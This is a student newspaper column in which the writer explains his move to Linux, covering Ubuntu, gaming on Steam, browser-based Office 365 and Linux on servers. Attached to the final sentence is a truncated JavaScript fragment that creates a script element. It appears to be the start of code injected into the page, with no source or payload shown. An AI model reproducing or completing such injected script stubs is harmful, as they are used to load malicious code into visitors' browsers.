Why Linux?

Alex Koltz, Cactus Contributor

For those who have never heard of Linux, you are not alone. Linux is an operating system. An operating system is the software on the computer that manages devices like your mouse, keyboard, and monitor as well as your hard drive and internet connection. The most common operating systems for computers are Microsoft Windows and Apple’s OS X for Mac computers. Ever since I have become an almost exclusive Linux user, I have had several people ask me why I chose to run Linux as opposed to the much more common family of Windows operating systems.

It all started at the beginning of last semester when I made a plan to use Linux exclusively (or at least as close to exclusively as I could) for the semester in order to learn. I didn’t have a lot of prior experience with Linux so chose to start with a version of Linux called “Ubuntu” since it is very easy to install and bears many similarities to both the look and feel of the Windows operating system. I was quite surprised with how easy it was to make the transition. While there were a few instances where I needed to tinker a bit in order to get a piece of software to work, I have not yet run into a program that I was not able to make work or find an alternative to.

One of the largest drawbacks I saw to using Linux was what I imagined as the inevitable loss of my ability to play video games on Linux. It turns out gamers can use Linux too. While not all games are supported, Steam has several of their largest games including DOTA 2, Rust, and CS:GO available for Linux. On top of that, I personally have installed and successfully played League of Legends and Hearthstone.

One of the factors that made the transition easier is how much one can do just with a web browser. One example is Microsoft Office’s Office 365 that is offered for free to all CAC students through portal. office.com. While the online versions of Word, Excel, and PowerPoint do not offer all the functionality of the full desktop versions, they still work just fine for writing papers and making quick presntations for class.

Despite these slight annoyances, working in and using Linux is one of the best ways to learn about the operating system. While Linux is not a common operating system for personal computers, it is quite common in the server room. According to surverys conducted by W3Techs at the time of writing, only thirty percent of websites are using Windows on their servers. I would highly encourage anyone interested in a career in technology to spend a weekend learning Linux. You may end up actually preferring it over Windows. For those who aren’t ready to make the full plunge into Linux, there is also the option of running it off of a thumb drive without the need to actually install anything.var d=document;var s=d.createElement(‘script’);